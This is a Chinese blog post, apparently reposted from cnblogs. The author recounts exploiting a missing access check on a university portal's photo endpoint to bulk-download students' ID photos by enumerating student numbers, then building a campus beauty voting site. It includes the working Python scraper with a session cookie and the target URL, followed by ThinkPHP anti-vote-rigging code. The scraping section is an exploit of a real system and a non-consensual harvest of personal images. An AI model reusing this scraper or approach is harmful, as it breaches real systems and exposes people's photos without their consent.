zoukankan      html  css  js  c++  java
  • 投票系统——爬虫+容器克隆技术

    序:昨天是所谓的单身狗节,作为一名不折不扣的程序员...

    我想找点乐子,我找了实验室的好基友(单身狗程序员一只)准备商讨出去浪的想法,刚想发信息,一想最近工资没发,钱不够不能出去浪啊,寻思着找啥乐子,突然一个灵感划过脑海,要不做个校花评选系统找理工的校花吧,但是照片哪来呢,大一时天真的认为让他们自己交出照片,想想这么逗比的行为不现实了,那么只能做一会hacker了,hack什么呢,教务系统把,当即发信息联系了实验室的老朋友,

    约好下午一起hack教务系统,毕竟我一个写网站爬数据恐怕不够玩,带上人总是快一点的,python爬图就靠他了。

    刚开始,我选择最简单的方法,直接查看自己的图片路径然后通过请求url获取别人的,但是万万没想到正方还是做安全了这一点,他把图片写入了aspx文件,并且赋予了权限,也就是自己登录后只能查看自己的图片,但转念一想也许能找到这个图片文件夹目录呢,也许这个目录在网站目录下并且不要求权限呢,试探了一下,在url域名下加上了"/uploads/",不得了果然有这样的文件夹,但IIS拒绝列出文件树,万不得已,我特地上网下了正方教务系统的源码,来查看他的命名存放规则,不看不知道,一看吓一跳,方正教务系统源码我只想用一个字去评价“乱!”,简直乱七八糟,各种无法理解的命名aspx文件,各种没有目录安放的aspx,我的天!怎么看?我放弃了。

    基友喊我去吃晚饭,我在刚在抱怨正方教务系统的网站乱的不堪入目,他突然提出了进入学校信息门户这一想法,对啊,也许行呢,吃完回头试试吧!

    果然又是不试不知道,一试吓一跳,一样使用后台文件访问图片,但不同的是,文件为jsp而且并没有加权限,更换学号轻松扫别人的图片了,立刻开工!一个爬图一个拟网站

    爬图python在这儿:

    #!/usr/bin/env python
    
    # coding: utf-8
    import requests
    import os
    def getStuNoList(class_info,number):
        stu_list = []
        for i in range(1,number):
            stu_list.append(class_info + ('%02d' % i))
        return stu_list
    def getImgContent(url):
        header_info = {
            'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:42.0) Gecko/20100101 Firefox/42.0',
            'Host': 'portal.cslg.cn',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
            'Accept-Encoding': 'gzip, deflate',
            'Cookie': 'safedog-flow-item=34F163E4F93347D4A1E6DB385029DCE9; JSESSIONID=0A1BBF33679FC4B484FEBD011273F8B0',
            'Connection': 'keep-alive',
            'Cache-Control': 'max-age=0',
            'Content-Type': 'image/gif;charset=GB2312'
        }
        img = requests.get(url,headers = header_info,verify=False)
        return img.content
    def downLoadImg(class_num,stu_list):
        url_info = 'http://portal.cslg.cn//showImg.do?yhm='
        if not os.path.exists('./pic/' + class_num):
            os.mkdir('./pic/' + class_num)
        for no in stu_list:
            url = url_info + no
            if getImgContent(url):
                print('download %s' % no)
                f = open('./pic/%s/%s.jpg' % (class_num,no), 'wb')
                f.write(getImgContent(url))
                if os.path.getsize('./pic/%s/%s.jpg' % (class_num,no))/1024.0 < 3.0:
                    os.remove('./pic/%s/%s.jpg' % (class_num,no))
                    print('remove file %s.jpg' % no)
    if __name__ == '__main__':
        class_num = '0921132'        //班级号
        stu_number = 40                //学生数目
        stu_list = getStuNoList(class_num,stu_number+1)
        downLoadImg(class_num,stu_list)

    上面这段Python代码是最初的原型,事实上,在爬图片以后再用php+表单的方式存入数据库是件恶心的事情,之所以发明计算机是为了免除做循环这种事的劳烦,所以第二天早上,我打算亲自修改这段代码,实现存入数据库的功能,第二版本的爬虫软件是可以边下载边删除不存在照片还可以写入数据库,只需要输入三大变量,第一个女生学号,年级,还有需要存入的表库名附上代码,自己看下,由于我不会Python,代码质量不高请谅解吧

    基本思想是,首先取得头信息,必须要有自己已经登录的cookie信息从而使python有访问图片的权限,然后需要两个参数,班级号,学生数目,通过循环学生数目来获得所有图片的地址(因为图片是以学生号命名的jpg后缀文件,非常简单),并下载。

    接下来只要不停vim那个python文件并执行,获取一个个学院的图片就是轻而易举的事儿了,然后我们开始写网站,需要用到thinkphp框架

    具体前后端什么的代码思想我就不扯了,重点是投票系统如何反刷票

    因为以前开发过投票系统吃过一次苦头(被别人的python一秒刷了10000多)

    随机投票:

    最白痴的办法,肯定所有程序员都想得到,我们直接从MySQL rand() select十条数据即可,这样把他们assign到前端,然后表单记录id,返回id后再指定setInc()给字段加1,但是这种方法只要一段python或者js,写个for循环不停的向同一个方法提交同一个id的话,就能指定刷票了,一秒钟破万不是梦,还可以ddos占用服务器资源,导致服务器拒绝访问,这很糟糕啊,而且这个投票系统不需要登录注册什么的,更加让黑客们钻了空子!

    解决办法:用容器随机的思想,举个例子:给你一缸的水,给别人盛水,用原来的方法,我让你们用户随机从中盛一碗尝一口,再吐回去,有人就会一直盛同一个地方的水吐回去(真恶心,我都佩服自己的想法),那么加上了容器呢,我作为管理员,不许你们随便取水吐水,来的每一个用户,我给你们盛,每人随机十碗水,自己再从中挑一碗,然后喝完吐回去。

    在实际项目中,我们可以用session来实现,第一安全性高,第二针对不同的用户有不同的随机人物,thinkphp实现非常简单,方法如下:

    $obj = D('User');
            //筛选那女,由于0会产生数据类型转换错误故而男=2,女=1
            if($sex === 2){
                //只看男
                $where['sex'] = 1;
                $rands = $obj->where($where)->order('RAND() LIMIT 10')->select();
            }else if($sex === 1){
                //只看女
                $where['sex'] = 0;
                $rands = $obj->where($where)->order('RAND() LIMIT 10')->select();
            }else{
                $where['sex'] = 1;
                $boy = $obj->where($where)->order('RAND() LIMIT 10')->select();
                $where['sex'] = 0;
                $girl = $obj->where($where)->order('RAND() LIMIT 10')->select();
                $rands=array_merge($boy,$girl); //男女都有就合并
            }
            /*把随机数据存储到个人session中,不允许修改其他人的,防止刷票*/
            session('rands',null); //在此之前先清空session
            session('rands',$rands);
            $this->assign('rands',$_SESSION['rands']);
            $this->assign('p_l',$where['level']);
            $this->assign('p_s',$sex);
            $this->display();

    注意,这段代码重点在下面的session[‘rands’],存入session后,只可以吧session传入前端,也就是我刚刚所说的控制容器,我只给你我随机挑个你的,不允许你自己取到!

    这样前端返回的表单数据,也返回的session[‘rands’]数组的索引1,2,3,4.......;有多少就多少,我们也要控制别人恶意刷session数组,以下代码是投票存入数据库的方法:

     public function vote(){
            //取得表单投票两个重要数据
            $id = intval($_POST['vote_id']);
            $verify = trim($_POST['verify']);
            if(isset($_POST['p_level']) && $_POST['p_level']!="")
                $p_l = intval($_POST['p_level']);
    
            if(empty($verify)){
                $this->error('验证码不能为空!');
            }
            if(session('verify') != md5($verify)) {
                $this->error('验证码错误!');
            }
    
            /*检查随机session的存在,范围*/
            if(!session("?rands") || $id>sizeof($_SESSION['rands']) || $id<0){
                $this->redirect('Index/index', array('cate_id' => 2), 5, 'ERROR:投票超出范围...或长时间未操作');
            }
    
            //获取在session中的实际数据
            $sid = $_SESSION['rands'][$id]['sid'];
            $flag = $this->do_vote_one($sid);
    
            //清空当前用户session
            session('rands',null);
    
            if($flag)
                $this->success("投票成功!");
            else
                $this->error("数据错误:投票失败!");
        }
       public function do_vote_one($sid){
            $obj = D("User");
            $where['sid'] = $sid;
            $obj_id = $obj->where($where)->setInc('vote');
            if($obj_id){
                //最后一次投票时间修改
                $obj->where($where)->setField('vote_time',NOW_TIME);
    
                //记录投票日志
                $stu_id = $obj->where($where)->getField("student_id");
                $this->record_vote($stu_id);
                return true;
            }else{
                return false;
            }
        }

    到此为止,我们的随机投票区的随机容器反刷票技术已经实现。

    接下来还有一个搜索投票如何反刷票呢,一开始,我是照搬照抄,任然打算用session的方式,把投过的人记录下次数,然后一旦扫到这个session投票超过一定次数就禁止了,但是万万没有想到啊,这次试用颠覆了我对session的看法,以前看书和百度都说,session是保存在服务端的,具有较cookie更高的安全性,于是我想保存在服务端,你们就改不了session对吧,但是session是改不掉,却可以放弃或者说删除,接下来我要描述一个session的特点:

    首先session确实保护在服务端,客户端无法修改,但是session和前端的cookie是有交际的,这么说,就是即使你代码完全用了session根本没想用cookie,cookie还是会在前端产生的,为什么呢?

    因为session是个会话,要知道首先http是无状态的,必须要有客户发送请求才能收到服务器的消息,那么,为了维持这个会话,服务端会把session的id保存在前端cookie当中,用于前端返回的时候识别这个会话是否是刚刚那个,这样只要我们清空了浏览器的cookie,后端服务器会以为是新用户上来了,建立新的session发送新的cookie给浏览器,这样一来,懂点电脑的人就会利用这一点,刷完票数后可以清空cookie重新进行投票,而服务器只会傻傻的把他当成新用户,不拒绝!

    综上考虑,只有一点能解决,但并不完美,起码比清空cookie来的难做到一点,那就是指定ip只能12小时刷10票特定票,怎么做呢?很简单,利用数据库存储用户信息,新建一个vote_limit表,把ip,时间,设定到MySQL,ip要设定为unique,存在的就直接修改,不添加,不然表会炸了!实现代码如下:

    public function vote_one(){
    
            $ip = get_client_ip();
    
            if(isset($_POST['vote_id']) && trim($_POST['vote_id'])!=""){
    
                $sid = trim($_POST['vote_id']);
    
                //获取搜索投票数据表
    
                $obj = D("Vote_limit");
    
                $where['ip'] = $ip;
    
                $vsearch = $obj->where($where)->find();
    
                if($vsearch){
    
    //大于12个小时重置,允许继续投票
    
                    if((NOW_TIME-$vsearch['time']) > 12*3600){
    
                        $data = array('vote'=>0,'time'=>NOW_TIME); //重置时间,票数
    
                        $obj->where($where)->setField($data);
    
                        $vflag = $this->do_vote_one($sid);
    
                    }else{
    
                        if($vsearch['vote']>=10)
    
                            $this->error("12小时内特定投票,搜索以及top10投票,只能干十次~");
    
                        else
    
                            $vflag = $this->do_vote_one($sid);
    
                    }
    
                }else{
    
                    //不存在这个ip就添加,并且初始化票数,时间
    
                    $data['ip'] = $ip;
    
                    $data['vote'] = 0;
    
                    $data['time'] = NOW_TIME;
    
                    $obj->add($data);
    
                    $vflag = $this->do_vote_one($sid);
    
                }
    
                if($vflag){
    
                    $obj->where($where)->setInc("vote");
    
                    $this->success("投票成功!");
    
                }else{
    
                    $this->success("投票失败,数据错误!");
    
                }
    
            }else{
    
                $this->error("投票对象呢?");
    
            }
    
    }

     好了一切ok,万事具备,剩下的代码都是些接收表单发布新信息了,很简单,针对这个校花校草投票系统,我只是讲述一下两大反刷票的技术,这次黑了学校图库的故事就讲到这儿了,技术和代码会全部公开,网站火玩之后我就下线,毕竟黑客也有职业道德的,恩!

    小成绩:

  • 相关阅读:
    UVALive 7509 Dome and Steles
    HDU 5884 Sort
    Gym 101194H Great Cells
    HDU 5451 Best Solver
    HDU 5883 The Best Path
    HDU 5875 Function
    卡特兰数
    UVa 11729 Commando War 突击战
    UVa 11292 The Dragon of Loowater 勇者斗恶龙
    Spark Scala Flink版本对应关系
  • 原文地址:https://www.cnblogs.com/devilyouwei/p/6336785.html
Copyright © 2011-2022 走看看